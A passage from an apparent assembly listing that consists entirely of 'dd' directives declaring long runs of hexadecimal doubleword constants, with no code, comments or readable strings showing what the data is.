7ADBF46h dd 53AE876Fh, 40934471h, 0C2CA86A2h, 4A280064h, 0C8BE18F5h dd 342C243Ch, 44059836h, 8C0E0938h, 0AFD0C48Bh, 0FAB29DC0h dd 8DE0C096h, 0B12DE888h, 58002490h, 33946610h, 1EFB68FEh dd 40ADA38Ah, 57CB192Eh, 740048E2h, 85B1B7FCh, 1E508F21h dd 80F38649h, 4F67239Ah, 8900D3BAh, 939BC283h, 9938ACh dd 0C5C77CE0h, 0F064A948h, 0C64EFC00h, 3E33858Fh, 0E9430050h dd 0A8E58034h, 4704E04Fh, 27EF3C22h, 0FCA1A3C0h, 0A22E006Ch dd 616BB52h, 8CF3E640h, 49197540h, 871C0011h, 9A06D8C3h dd 43E893EFh, 0B61A2F03h, 0E6E5AD1Bh, 975A01A8h, 17983A13h dd 0E472F0B9h, 33070A0Fh, 1241E0A0h, 32FCD42h, 85F70F3Bh dd 6788E122h, 0C2185FF5h, 0C87017E5h, 7D701FBAh, 286601B8h dd 0CC782FB5h, 93003655h, 1CCB5691h, 95634Ch, 5FB4800Ch dd 184B9B25h, 744240C0h, 0E9E3C82h, 0BB36159h, 3387A303h dd 0C6FC2006h, 2090D9A8h, 990B396Ah, 1FBB728h, 469A1814h dd 3588D0h, 10D91CF6h, 4DA2E827h, 0C2926100h, 15E1BC4Fh dd 0D4D500B6h, 0D8DDCAEFh, 2202766Bh, 7F7D3D19h, 510EE023h dd 21650F13h, 24002ABAh, 4FF1BCE3h, 17942D0Eh, 7A18988Bh dd 1F7EDFB0h, 1E6D03A6h, 7078769Ah, 32993009h, 7F5D0019h dd 3BED616h, 1F152C75h, 56B8F834h, 1478C8A3h, 50096178h dd 8E75A4E4h, 2B2260FCh, 30D5CC51h, 11101774h, 0DD00BCA8h dd 16C17B40h, 0E2CB9Dh, 0E4D0201Eh, 38D3CA3Eh, 5A81C661h dd 0B080DA31h, 0DCCBC27Fh, 7400E01Ch, 3F3D8522h, 63268BE6h dd 0E9962050h, 0D9F2FFF8h, 1E021E3Dh, 9926D00Ch, 50B13738h dd 600E6BA1h, 1FF392FCh, 275232Ah, 64719ABAh, 6B569940h dd 65C801Fh, 0E73B8240h, 7D99283h, 0AD29686Ah, 0D8BBC353h dd 0CCAA2FD0h, 8C77E51Ch, 2DA2A580h, 1DB020C2h, 1B726135h dd 0F801215Fh, 0E350C093h, 0D4CC3DD5h, 1BD10015h, 914105A5h dd 0C0002E99h, 378045ABh, 74E5D861h, 8C9C0CADh, 1748AC79h dd 9D936B00h, 0D16F5B7Eh, 8676330h, 20006162h, 0DA9A1437h dd 90ACE3DEh, 8AA00674h, 58D4282Eh, 0CC44777Bh, 1C8D4336h dd 7E449321h, 5F32748Bh, 99FA7120h, 70C100A6h, 0FA2FBEAh dd 4F000A92h, 0FC18D95Fh, 705C46ABh, 38691875h, 0A68D3874h dd 6E9E41C0h, 2608BCC2h dd 1B559E0h, 47E73E14h, 4898A19Ch, 86B93D70h, 48907F00h dd 952636DEh, 0D5151D78h, 9CE60055h, 3C544AC9h, 4235A800h dd 6B331730h, 84EF01F5h, 99D7A4BBh, 9C8AC8BDh, 0CF2EE800h dd 0C9966792h, 4D0A03C4h, 37B493C0h, 0E378B0CFh, 0A10021C2h dd 8FFD3426h, 0A00E33DBh, 1213DAh, 0CB65E95Fh, 7E74770Ah dd 47028100h, 0DE4914A2h, 0B59E0FE0h, 0FE07D3D5h, 6DC07F3Eh dd 0ACB07F8Bh, 0C000B390h, 0F8709467h, 0F8E9948h, 32EEB88Dh dd 7F07E280h, 0CA01AFF9h, 2EA22AE8h, 8F40F8AAh, 5C346C10h dd 900064DDh, 5A9F3C57h, 7DB8E80Ch, 14E6270Eh, 7794C02Ch dd 601D62C2h, 8BBB216Ch, 3C1948CFh, 0F5035B6h, 600556F0h dd 7A3B2010h, 0D201E0A6h, 8E3CDABh, 880A7D5h, 6C1CF1C4h dd 8E731D18h, 0EA421E00h, 7659D79Bh, 994901A6h, 402C157Dh dd 4562E487h, 0DF24A406h, 0F990B11Fh, 303E5130h, 9528BCDAh dd 8D67C610h, 0D6905A79h, 3D725CADh, 0DD8F28B2h, 64E6BF90h dd 61F6C044h, 0A574AE00h, 845D9399h, 12B0094h, 576D032Eh dd 1A076FF1h, 0ACA8EEB9h, 6C4C78D0h, 0B65201CFh, 2AAE41D9h dd 6301E49Fh, 6FF04402h, 0E036AD19h, 17AFDC2h, 0C0A659F6h dd 0DCFE9164h, 8F02D076h, 0D17188D8h, 0F115C003h, 0FB9500F3h dd 4BA4D682h, 0DC014072h, 0C425C2BEh, 7ED47BA6h, 836100EEh dd 1DD1595Ch, 0A500530Ah, 0C8CFC9D9h, 7E3F8650h, 0F7C2001Ch dd 0FE8CFBD3h, 82074D3Ch, 35361CFh, 0F226690h, 0F72B00AFh dd 91DE1617h, 8E0081CDh, 9FB10933h, 30B9986h, 2328E818h dd 0A6884BB2h, 0FB00DFE2h, 4ED695C3h, 79850476h, 32AA00A7h dd 0E22489Ch, 3A00344Dh, 0CDC230A9h, 0E8909835h, 20B46937h dd 2F40890Fh, 0A060F271h, 0FC5D5300h, 12E1C9DDh, 8D800ADh dd 18440789h, 8D7F1DC7h, 0D003ACB0h, 0D9748B2h, 1000ED21h dd 12EF6ED5h, 49AE602h, 0B41E1348h, 83AB097Eh, 0A70916h dd 513AEE78h, 9D6016C4h, 0F28DAE0Ch, 60DE08E5h, 0BA5B2075h dd 0ED00EC2Fh, 40AD3B8Bh, 0E4A33C5Dh, 61FE60CEh, 0DB50C218h dd 83003475h, 7412F391h, 8F9E2Ah, 5C9B0AB6h, 22AA0FE7h dd 7B78B360h, 1DFA9F40h, 27CE7Fh, 362B691Bh, 0DF00A03Ch dd 41C814C9h, 0A82F68h, 0E4BB33C1h, 0CB13CC78h, 28F1CD15h dd 63B503ACh, 0E010FAE8h, 18EC029Eh, 2874A10Bh, 3FE0BB31h dd 3C001AB0h, 3E2CF149h, 546AD8h, 4BF47EE2h, 2A1430A2h dd 8A71320Eh, 0A7500012h, 5C6BE52Ch, 9F00D515h, 0A8C3825Ch dd 2803B465h, 2C2B927Ah, 0AAF3B7EBh, 10D0D74Fh, 905D840h dd 9271993Eh, 1DD9E002h, 8AE26B60h, 7E33F700h, 84F5EA76h dd 3E47E20h, 6D434F14h, 30009CD7h, 0C3CEC2A2h, 0F55297Eh dd 0DAEBB901h, 0E3D36A80h, 79307CFCh, 838C58D8h, 0A9B038C5h dd 47708980h, 0DE99612Fh, 0A49FAB00h, 0B191EF4Ch, 0F4D600F1h dd 88BABBC0h, 300297Fh, 364FD46Eh, 27143Bh, 0F10C2BCCh dd 84A84D1Eh, 0D2635512h, 6F793C00h, 0F2B313C6h, 0EEEF1C15h dd 80D6987Bh, 0C80001DAh, 0B3ECBDC4h, 1693898h, 1A054431h dd 0F0349EE6h, 6800283Bh, 257C7E65h, 39507464h, 53802C60h dd 6ACC0AB0h, 56001263h, 38A5D5FCh, 28F9D79Ah, 30808022h dd 3019FAAEh, 0D120C7F8h, 867B7Fh, 0F682DA35h, 0E6A9E413h dd 8E49F001h, 7F8C15A7h, 8604BDE6h, 108F4536h, 0F8EB2800h dd 90B891C8h, 12400061h, 4286A425h, 967C11DEh, 2DF8827Fh dd 94DC2116h, 0FD27D00h, 0FC387CD7h, 0D0973056h, 0DAB0F259h dd 50959631h, 0D0095258h, 60A0CB90h, 0E3005EECh, 0CAB0109h dd 353BEEh, 0DE23747Ch, 2DFA395h, 0DD14BD01h, 0A81B6F12h dd 21C48703h, 8E008D63h, 90335DCCh, 0EA531871h, 5F6540BEh dd 2C69056Ch, 5C3D7CFBh, 1F0B9070h, 5C80CADCh, 26711DDDh dd 0EC2B48ADh, 525A360Fh, 0C88F86EBh, 1FF11180h, 90186D5Dh dd 9881A5EEh, 4C361454h, 28CF4CA9h, 484EC2A0h, 6D3932A3h dd 64B454F8h, 0D25E2E14h, 3A528194h, 0A980B4EEh, 0D34FB7AFh dd 472AAACEh, 857A94A0h, 0C0AEC01h, 569F46CBh, 1C5E1CCh dd 662BBF59h, 5083E890h, 25144DECh, 6DE48200h, 340A72A1h dd 89C700B2h, 7A2ACFD6h, 4505A584h, 0A980BF13h, 8008AC14h dd 0B4D3E8B0h, 26F60EF4h, 0EE0016BAh, 6CF82192h, 3C5E190Ch dd 8E6872h, 0CAB19BD3h, 5F200BB4h, 0DF393200h, 99899437h dd 0EC6F001Fh, 8F595773h, 0A9181678h, 0EBD1B147h, 58C03DCAh dd 6B0B5860h, 7207761Fh, 6490B50Dh, 97F5D340h, 0AB7FA5Ah dd 31607402h, 3DA080F4h, 0D46483B0h, 88E09D06h, 0C03226h dd 0D3145F40h, 37D09C0Fh, 80446137h, 2C544B60h, 64400313h dd 0AF1ADB88h, 1F7D03Eh, 0BB3AE956h, 18F8F4B0h, 9D4600C1h dd 6ABF3BFEh, 0C01F72Dh, 1C92CAD4h, 0E613504h, 84919810h dd 0B7E4A8E1h, 0CBD70B0h, 257A889Eh, 0FE185220h, 0F474288Eh dd 41E0002h, 946DD850h, 0AB00F58Bh, 95B41A1Ch, 0F7B7DAh dd 7CBB7172h, 534561ADh, 0CAE2600Eh, 34069768h, 521063AFh dd 54B804C9h, 10898430h, 3A2A9B73h, 70347Ch, 0F28F57C7h dd 3A02E540h, 0D6A6E100h, 535F7247h, 963C3EBDh, 0DDB45E80h dd 692799A0h, 0DF4DCB00h, 0EA1E70C4h, 3677D0Ch, 0A948346Fh dd 66C00162h, 4100B927h, 62B65B6h, 1C315Eh, 0B8CCC58Ah dd 93F8171Fh, 0C689D00h, 735007B1h, 2B9F3F85h, 76BD0500h dd 0F6A7C6ABh, 8B00F0E2h, 616CB1F3h, 0B55428h, 0C46412D7h dd 0E205CF3Fh, 413A580Bh, 8BF180C2h, 0C12E30h, 4B408676h dd 0E5B2F061h, 0C3EA5Ch, 79A39D57h, 18FDBh, 6525B30Bh dd 0C7ED360Ch, 83964C00h, 14B8C25Bh, 6C4A0013h, 0DA09C688h dd 800EA08Eh, 60D4D657h, 0A697F2CBh, 207BAAh, 6518C773h dd 1449D2F9h, 0BDCE7B3Ch, 8FB8D054h, 0DA70BE00h, 7620D4E5h dd 72D1D3Fh, 2C77C0D8h, 2538DF57h, 18D43A54h, 26055800h dd 1BF4E6CEh, 86AD1FACh, 7CBFC069h, 0DD38E7B8h, 6CF2D201h dd 4B823D5Dh, 7C30EFECh, 99E600F9h, 0CBF0F36Dh, 7D305A9Bh dd 11779ADEh, 8F6900E1h, 0FF5681A8h, 0DA72A51Eh, 550F3212h dd 0D5E63D06h, 62093C58h, 369BA687h, 954FB079h, 7007643Bh dd 0A272B1DFh, 2157EB20h, 0BFD6004Dh, 0CF5B9982h, 0F4006781h dd 689F39D4h, 1AC30F1h, 0FBBAD8E6h, 0C8AD6A1Dh, 0A31F2595h dd 1C838A92h, 0A155B0DFh, 0D30AEF0h, 0E5CD1F46h, 0DAEDC376h dd 903EDF68h, 1E1F971Ch, 0F7276D00h, 53138Eh, 0CDFFF52Ah dd 4DE4EC85h, 9F5012ECh, 0C249C0C4h, 66A700A0h, 71292A93h dd 1CFB0081h, 0CF5A0AA3h, 5E0034F1h, 0DB663002h, 1F958ACAh dd 0C7BB8892h, 3E2D0Ch, 0CB3AB28Fh, 68AAE4Ch, 0B559E579h dd 5C350021h, 5441D10Eh, 0E4063AB6h, 4E809248h, 0ABE30188h dd 33A2C022h, 0C360C60h, 9555498Ah, 511FD8D8h, 4880F8C0h dd 6EC3151Eh, 83CD0026h, 807E7D97h, 33010A39h, 0BB18871Bh dd 3C20343Eh, 0D032006Fh, 233CD359h, 560009A1h, 0F8108C47h dd 1CD99E8Dh, 8FB269F1h, 60AF063Bh, 5C40346Fh, 0DF5B82E9h dd 41B81B00h, 57AF4662h, 53B61F7Ch, 0ED3DEh, 0A2D89DEh dd 0D490AAABh, 7B873001h, 0D224C15Fh, 8C65B880h, 0D33FB8FCh dd 8A0FE8C0h, 12E65259h, 5CB471h, 0CFB29A64h, 8858A92Dh dd 6230600Fh, 18376797h, 0D0C7A1E2h, 3988D293h, 0F61A309Ah dd 674A8F10h, 0F1754600h dd 55D0831h, 0BDB81C6Dh, 0D7803CABh, 0C2B4C169h, 5CEEFD57h dd 9FE8E000h, 0C73BCFA4h, 931E00BEh, 636284B9h, 0EF0025D8h dd 387D9E3h, 0DEC81Bh, 1D5D3F61h, 0C6E44D23h, 0C1000DF8h dd 7CCD84A4h, 60788B4Ch, 6D4138BBh, 0F005BAAh, 0BE8E81F0h dd 16EB0CBh, 0A11EEE79h, 70BDDA89h, 8B00425Fh, 461BC083h dd 9422EDh, 0A6B2FB06h, 0AE6A5E2Ah, 527C7700h, 0DAFE03C7h dd 0A26B006Eh, 43E304BDh, 1912A7A9h, 5C13A6FAh, 80A0B20Fh dd 6173C0C7h, 794300B5h, 180850F5h, 621E48F7h, 4A004CA2h dd 0A4CB92AAh, 67B20013h, 23093B5Bh, 6B005372h, 85FB0490h dd 499C0Ah, 0CFE03387h, 0BDF8D24Eh, 89866700h, 98E8755Fh dd 498D00A3h, 31C2824h, 0DB0E6478h, 40C04BFBh, 0BA6A3062h dd 21890E05h, 29802026h, 7224F7ACh, 2D31F00h, 0E30F3954h dd 0ABDC0745h, 0C0FD5DC0h, 24781614h, 10914205h, 489055E1h dd 30D7B418h, 76A826C1h, 8F046EAFh, 223BED21h, 91F01E80h dd 0B03204F1h, 800FE86Ah, 3C74ADBCh, 17831100h, 67FBECDCh dd 71AA00B9h, 4247FAC9h, 9E71F8F0h, 0A707E60Fh, 1D5180CDh dd 358BD8Ah, 2774C7A0h, 8CE103BFh, 7CDDC8CBh, 6A191703h dd 0A840E4E3h, 1941C9Fh, 857F578Dh, 0D04FEEF7h, 80702E5Dh dd 4602427Eh, 3449DC79h, 0E21D404Eh, 0D1120006h, 7C09C24Ch dd 540669A9h, 18BFC11Fh, 0E17B1D50h, 0CEB34298h, 0D0606FFAh dd 490045C5h, 2418E73h, 93EC24Ah, 987C0A3Bh, 831EF000h dd 0B70020D2h, 0FF244786h, 0EC1433h, 0E99EE889h, 9A9119A4h dd 22D7A714h, 0D5B0085h, 4198789Dh, 0D49700FDh, 9C898AA4h dd 0B6E0A77Fh, 0DA87D002h, 0E04F0DB1h, 0E2AEA5h, 0E3748CD1h dd 14D830AFh, 0E8B0607h, 0EC0728C3h, 0CAFD1C00h, 165E7B23h dd 0E30B3Ch, 0E5A1FEEBh, 3000C2C3h, 0D3381B3Dh, 474F5D8h dd 93753977h, 0BD00805Fh, 3D485B97h, 0B53000B4h, 189D6E1Dh dd 0CDB00033h, 105986A0h, 0E500D5FDh, 0E73C2244h, 3A06F5FBh dd 8B805785h, 6C40A3C4h, 11000954h, 0DE7F3B45h, 30347583h dd 4336BAC7h, 3A0057E0h, 0EF62B790h, 0DE6A7Ch, 0FE2ED6D4h dd 0FA511B99h, 0BFF8F100h, 184406E6h, 23333BD0h, 85EC8900h dd 0B72AAA3Eh, 71C3D100h, 667E9E21h, 682B4D78h, 0F172D213h dd 8FE2803Dh, 9B75716Bh, 0F9AF862h, 64D55BDBh, 91889EC0h dd 0D1007FD0h, 0B85EE63Bh, 13496F58h, 418BF489h, 0C7353E20h dd 10E0DA09h, 0B4012EA6h, 54E697A8h, 1885182Fh, 8032027Bh dd 55174564h, 5D4CCD07h, 397D7D08h, 0C01274D4h, 0AEFCE0A1h dd 847F8C11h, 720A2300h, 0DE6D21CDh, 0A1C4039Ch, 0CC24931Bh dd 627750D8h, 4F103700h, 0B9561509h, 8B130111h, 0CCF9E6C0h dd 0A7BEE04Ch, 0DA45D200h, 819C5DE1h, 58170060h, 8CCCFA62h dd 86608531h, 2DF44A71h, 4880500Fh, 0D72500BEh, 65D8712Eh dd 1CC04B59h, 549E1FA8h, 0B97503E3h, 2D72BF74h, 8EBCF10Ch dd 0EE2D845h, 0B00DFC4Bh, 81DBAA20h, 401D417Eh, 5E05F1C8h dd 93C0D04Eh, 6FCA5Ch, 720ED3C5h, 65629D60h, 0BE13700h dd 0C2AD7E4Dh, 18164C93h, 0EFDD0101h, 0F4605A36h, 0DBE428E7h dd 15ADA11Eh, 54FDFAC0h, 0B71AF4h, 72BDDBEh, 0ABB0C143h dd 0CFC4B903h, 0C0F1A7E1h, 7BA17FA6h, 158A0019h, 89070521h dd 0F3012BC9h, 780F62F6h, 1BC19DFFh, 0F27433D4h, 0E7660794h dd 9ED59648h, 872F914Fh, 0F31B7A80h, 6600F69Fh, 3B2EAEE0h dd 77C5BFA5h, 38720046h, 0DE9AB0FEh, 510FC04Fh, 62A0B7h dd 0C1D4E85Dh, 278800F5h, 0A14D49A9h, 0F2004E92h, 0DA7E2918h dd 29E2D561h, 0B0C0F1h, 0F8D021C3h, 640173D7h, 0E31DBD2Bh dd 2824C632h, 0D20B0098h, 0D85DB670h, 0A21EFE9Bh, 770ED0D6h dd 8DF28047h, 0F4FD5Ch, 1B86D7A6h, 0AFB5855Eh, 146DEB17h dd 0C8BD7400h, 1F367035h, 25DEA61h, 0CDCE7A77h, 982CECA3h dd 4C5AB1B2h, 8BC6A00h, 0C4FBE22h, 0EB9C31F8h, 9FC8E408h dd 0B00B420h, 5E12A5B8h, 439605EDh, 4D7B6Dh, 99506697h dd 0E598F135h, 6AAFA50Ch, 1F3018ADh, 1E42405h, 45F46337h dd 0E94C24B5h, 1C528539h, 4440BDC7h, 89AEED26h, 206160FCh dd 0EAB6D2DFh, 62976300h, 5B8D1815h, 9C820FBFh, 0A4236FCDh dd 0F290F3AFh, 0F950B22Dh, 73008680h, 871439C7h, 64CF8Dh dd 59E90568h, 0A9D1FF44h, 43B9BB1Dh, 0E68B50C0h, 0FCDF9135h dd 1C18000Ch, 0BAD37A4Eh, 1F00DCF4h, 0B58E5FFBh, 5B1BBD9h dd 0C266A74Fh, 2C918033h, 7C003CA2h, 0FD17981Fh, 0F40EDDh dd 0B9DA884Eh, 1E6D967Fh, 0CDF8A47Dh, 43103803h, 0D0D09D2Eh dd 1E685036h, 1E5E54D3h, 0CB0DC053h, 3F7EC543h, 6C6371E8h dd 88C4F620h, 0E4DCC2E9h, 0B1411D96h, 0A0668073h, 7130B4EEh dd 0ABA0C67Eh, 2A73B368h, 5573F100h, 0E15D2E18h, 0C0FFE816h dd 65121C21h, 41003E89h, 0DDA904EEh, 0CA66F6Eh, 43CF96D5h dd 70CD329h, 10EB1E24h, 0BE4A3C9Fh, 0F7DD6F01h, 89A9DE7Ch dd 86E7F8D8h, 29E6DFh, 6F76E988h, 90A059FEh, 8CCA531h dd 2080E789h, 827F5E92h, 0E301AEEBh, 97085987h, 9CDC6286h dd 0DB3B3020h, 4A76C858h, 0A67A7400h, 0CA75C532h, 0B6F8C20Ah dd 78909630h, 567A659Dh, 8016DD21h, 68434969h, 600C513h dd 0E3D4BDB4h, 0F7E7F9h, 2427FB1Ch, 5BF1DFA4h, 4BB4DC00h dd 0F3308349h, 0BBE1007Ch, 0A7EB80E6h, 8F073BF9h, 12E3F1E0h dd 0D579660h, 0C9E50E41h, 0DE800F2Ah, 73FE8539h, 0D1F88300h dd 0E21E7E06h, 0D970360h, 82FD1890h, 0DE2D0B88h, 7C045C01h dd 0C4FA86D4h, 0DCB070h, 49D31443h, 0AD1336EAh, 0BD207C01h dd 0D2B78B8Ch, 0D99370h, 0E18EE9C1h, 0C5E0DE2Ah, 76A4D3Ch dd 0F63221B9h, 7CAA8F90h, 22FF009Fh, 47F1DB3Dh, 1F00C145h dd 0BF3146DAh, 0F0FDC2EDh, 0A72A074Fh, 0D3228E30h, 6AC0C5B2h dd 84003DC6h, 2F7B96A5h, 64D3B4A1h, 0FADB0830h, 0EFBAEC80h dd 0BD351F51h, 254E0046h, 30C80A82h, 31EA541Fh, 968FF181h dd 1080E0BBh, 129FE6ACh, 3207472Fh, 0EBC142CFh, 988EF4C0h dd 24D9075Ch, 0E0DD3B18h, 7D25C76Dh, 69AEF300h, 0E86853AFh dd 32EC74h, 0AA8616D6h, 3FD4F7B3h, 0C254A200h, 5A1DBF0Ch dd 0AEA817ABh, 9EB40380h, 10C03526h, 2700015Bh, 735EA2B1h dd 8D850Eh, 218C417Fh, 0C249894Ch, 0DA6ECA24h, 0FA87CB00h dd 1816D5E5h, 0E0CD2ADAh, 0AF2A82B4h, 0D026A0BAh, 0F9001BBEh dd 62C7A432h, 64DB39B5h, 0BB05580h, 0EFEA53E5h, 4C00D3EEh dd 0E3E2FD52h, 3D2340DAh, 5C008AF9h, 1C2D4B3Fh, 3B5A3A76h dd 19F061B1h, 3953E0F7h, 0A000D1EBh, 0FFCF2F0Dh, 1F0015FEh dd 35D7EC78h, 719463h, 0A26B5674h, 15FB4797h, 7F00507Fh dd 439931AFh, 3777D257h, 403821EBh, 0A8A70D14h, 0C730CF00h dd 0A520DEF0h, 3F507A3Dh, 8D003B11h, 0C941C545h, 0DF01F613h dd 53610510h, 0BDF0DC1Ah, 0A8CF014Fh, 952074D6h, 0C72DECE3h dd 6D888500h, 0D33357F1h, 0C03E62Fh, 23BEBC16h, 0A700D879h dd 0AAC5FCBFh, 0EEAF1D82h, 0D0EC01h, 8669DF0Eh, 1F14F215h dd 0A1091B00h, 622076F8h, 0E9100366h, 0D6403CA6h, 3B7856D8h dd 5A632900h, 87025230h, 96280036h, 84704BB9h, 0EC012281h dd 912EBD49h, 94E435D6h, 0C563001Ah, 0A6FBD9E3h, 347E433Bh dd 0B4914A0Eh, 39EE2042h, 72E80780h, 0B01650F0h, 0EBA300EFh dd 0B038F771h, 0D3066F12h dd 521C2234h, 4E660650h, 110451B1h, 7FDF1058h, 0EB9ECB1Fh dd 0FE74FE28h, 20C0B476h, 93D024B1h, 6870058h, 0CF3BAF7Ah dd 29305612h, 0CC3AD15Eh, 0EF880331h, 0A796FC7Fh, 50A1D2D3h dd 67208063h, 232031E5h, 0C0A1C6Fh, 0CF6BC7BEh, 1073304Eh dd 0A03E6811h, 1A05FE83h, 0A6B44464h, 1210342Fh, 0C0F3CF5Ch dd 0C6F1A394h, 0E91600EEh, 57B5F0E7h, 680C1424h, 60F9FC67h dd 0DF550044h, 59D8B80Ah, 0B4007BF4h, 5484C71Ah, 0FDE8CE48h dd 272070E5h, 41F60730h, 50E6470Ch, 0D4FC2AB5h, 75D5A900h dd 9B65BC0Eh, 5CD0009Fh, 0C4AC50FBh, 3601DB3Ah, 0E2B70F88h dd 7CF402BAh, 87BC0153h, 99423003h, 0D1B0F737h, 5E3D6AEAh dd 8BDD80B7h, 536BA226h, 0FF450023h, 0F99AF4E6h, 7876F2B5h dd 11F1900h, 84EFBF7h, 0EE441CEAh, 0D7C900AEh, 125E2C22h dd 15A36300h, 0C6D16DD8h, 90B000EFh, 9F56139Bh, 103D6232h dd 7B5C85EBh, 0CF434991h, 88186A8Ah, 755714Ch, 9AF81EFBh dd 5B4DF024h, 0B507C077h, 0BA500D1Ah, 849457B0h, 3A9C3A04h dd 42925181h, 806820D6h, 0B588DB18h, 0E03D934h, 0B3797ACBh dd 36C34E60h, 0B3A0FEE4h, 780FA868h, 3FF3340h, 0D0D5DA60h dd 9AE498h, 0DCD46704h, 4E74E52Eh, 5B005379h, 13332054h dd 5E23A6Fh, 0BFD03F64h, 0AE16CBh, 97BB122Ah, 0B603F249h dd 61AE147Ch, 5A058011h, 286B00D3h, 0B02A6ECEh, 49129283h dd 0BB001BEEh, 0D89FF86Ah, 0EAE30070h, 91482F06h, 1600B69Ch dd 231FC582h, 527F9Fh, 4B5BBCF5h, 9EDF3804h, 5A98D100h dd 0F30A7CFAh, 74CC76F2h, 6EC030ECh, 101B7F20h, 916F5701h dd 5ED2BD0Ch, 43BD70h, 77C0FD97h, 1A0B60D3h, 7321E400h dd 9EDCF703h, 7F370371h, 0C0CA36ACh, 0EEBA8FF8h, 1895963Ah dd 0E4209F19h, 36380076h, 2DCCD7BBh, 4FFC33DBh, 0DA310F00h dd 0DF6CAAA9h, 0F350CA84h, 1621565Ch, 2200BE6Dh, 7071F9EFh dd 0A5005B6Ah, 5EF511DDh, 1B4681E2h, 0B1F2F1D7h, 0FB5288A8h dd 0CCBDF400h, 0F8651AF0h, 509B63A2h, 0C4A00D71h, 0DD60B35Dh dd 0E5B51710h, 803C019Ch, 86795805h, 8054D110h, 81784531h dd 0EA2A0DEh, 0A1AEED7Ch, 395B61C0h, 82003024h, 21AF7246h dd 0A3F995Dh, 0F2B3B0E2h, 5921BCA4h, 9DFEA080h, 8694BAC0h dd 704DAF00h, 39D4B037h, 0CFE70027h, 4306906h, 0FC0097DCh dd 4EE48B2Bh, 34F1A28h, 2CFE6C63h, 0C0975019h, 0EA1C1068h dd 0C81B4A2h, 0F3722894h, 2E801000h, 36EEA99Fh, 4F3F0006h dd 0DE4C44BDh, 192C16BEh, 0D077B2Bh, 1E709C28h, 0CA61DDh dd 31C74EB5h, 371612E6h, 0C400DB73h, 0C30F1FD2h, 9E60A1h dd 8A3AC1A0h, 247A6990h, 80B36A01h, 9344F2E1h, 9FF19131h dd 0BDF4F0F1h, 1DD500ADh, 3414D9C2h, 8FEE03CFh, 0E5C89A00h dd 845D03Ch, 2EAE03BAh, 540268E0h, 80E892F9h, 0AC3D3AFEh dd 0E60F3CFh, 0A05E443Eh, 1DF73820h, 77633F5h, 69E49100h dd 0EF316AABh, 1ACA008Bh, 130CF968h, 51E6EA5Ch, 5F0CBC98h dd 103D826Eh, 5804A7A7h, 5C3E7E88h, 89320052h, 3AC0B326h dd 0D6E047h, 796A7313h, 31D4EEF3h, 44DD2B1Ch, 4DCA4A80h dd 0F1D66Fh, 8E0DC5A6h, 0AC96C94Eh, 57649C00h, 824A23E5h dd 0A8B10071h, 10E7B68h, 84003D4Dh, 0D6D453Fh, 2D995Eh dd 0AD349AAEh, 0D2F3F7BAh, 0F8088A00h, 6C80E32Bh, 0FFB3077Eh dd 104E64D9h, 698C8ED7h, 900078E8h, 0B8711F0Bh, 0A3F3C8h dd 40354473h, 0AA4BFDFFh, 807EB23Eh, 6088BB3Eh, 0EDF0282h dd 2F3FF8A7h, 65019D20h, 0E472749Ah, 0EBC55B07h, 69206ED7h dd 73F30ADh, 0F4F0EE7Ah, 5DCA2046h, 0E416E615h, 0F50E488Fh dd 946A005Fh, 93B02Bh, 1098996Fh, 63231626h, 0D503B30Fh dd 287720BEh, 93C67Bh, 49A4418Ch, 8F9C785Eh, 25AD5200h dd 0F4DB439Eh, 5F5000DDh, 0A285BF87h, 8950ABFAh, 21002BD0h dd 6F1A4BDh, 7FD5CB2h, 0BBECFFA3h, 0ADA5F0F3h, 8C005605h dd 2B29D97Fh, 37D6B26Dh, 0D0119337h, 0A7A33C11h, 53FE88h dd 2F617731h, 1D9D892Ch, 0D78EC401h, 0A1E6D073h, 0C9557980h dd 61FB5899h, 97ED0D07h, 6230E4F4h, 1BA96ADh, 0EC538C82h dd 0D08ED4D5h, 0E800EB4Bh, 0C1A2992Fh, 18C6FD80h, 2FB273Fh dd 0B8007374h, 9B813B72h, 0F234E6h, 0DB75525Ah, 0D393E4C9h dd 0BA3AC7B0h, 1D3000F4h, 4CA59CF2h, 9EEF1FE2h, 127C00DCh dd 0C5CE16C8h, 0E93EDE05h, 5BC110DFh, 0BF204441h, 37DCE128h dd 729600EDh, 297A795Ah, 260F7B7Dh, 0FE109183h, 0CEBC8280h dd 936C031h, 0F8AFC11Ah, 80C28820h, 0DC000A8Ch, 0F718D4A1h dd 1299D39h, 0F594AEA6h, 0C8472865h, 0E700E8CFh, 0AE4DDBAh dd 38D8554h, 1ADADFC2h, 2FF0473Ch, 0F37F5398h, 0B3DD9A00h dd 0FEFD7238h, 5E8800BEh, 64E61E0Bh, 2003ABDh, 2FB23C29h dd 8B18F6h, 96E1B1Fh, 179A3E70h, 0AD46949h, 94E52A27h dd 1CCC1480h, 36F871h, 0ED2052C4h, 0E8678F4Ch, 2A393700h dd 2B1EDEFEh, 0E08B16FDh, 8F240023h, 0BB2E109Bh, 0BC56BD00h dd 4A7049F6h, 520F4F3h, 6B14AFC8h, 7E900B74h, 80A9E081h dd 16BAC85Dh, 0DB53E903h, 0D87F3A3Fh, 0A5797Dh, 8C5EEEEFh dd 114FF523h, 0D778C900h, 0E005E17Fh, 0CA15000Fh, 0ED0AF494h dd 2100CF55h, 69E82853h, 35FA7Fh, 4901E5E6h, 0D5C1B01Bh dd 0C4D01328h, 0F9B61C01h, 0AA4C7E58h, 0F07655D8h, 93970B94h dd 4E007837h, 0D5098DD1h, 85C1CC00h, 0DDD8C58Ch, 151A0069h dd 0B9A5F6B5h, 0A00034Bh, 0C618B0C4h, 0BE648Ah, 0AB74CB61h dd 0CFDAD5Ch, 95A2DC00h, 354F039Ch, 549100C5h, 0FC2C0FF9h dd 960020BCh, 9BB397D6h, 9E3A0Dh, 0C1E45236h, 0EEAAD1D8h dd 0EA77810Eh, 4BE614DEh, 3A0326F0h, 9C03FD20h, 0B67D6176h dd 0E68E82E0h, 1A5C3E00h, 23D37138h, 649100A4h, 0EB2C7311h dd 9005AB3h, 0B0F42B44h, 0E696F46h, 27FE9CC9h, 800EF6C5h dd 0EB1AADC0h, 0F1B34A2Eh, 93001612h, 0AF5FFF9h, 520400ECh dd 83E118C6h, 3D00E913h, 53889959h, 58EBFh, 0C02B5C66h dd 3B86B901h, 0F2FC540Fh, 0AB87E0E5h, 0D040Bh, 0A1D1B7F3h dd 1BEB61DCh, 304B2D00h, 5192E6B3h, 0A36E00F4h, 0A1D0B1A2h dd 7F04E178h, 1F352840h, 236A8EC0h, 0D3BE006Ch, 0B4250432h dd 30242127h, 408064C4h, 0AEACB047h, 7916F688h, 98D600EAh dd 59C6F7Eh, 0D072566Bh, 5890A407h, 0E180675Eh, 0FE6D63h dd 45F839ECh, 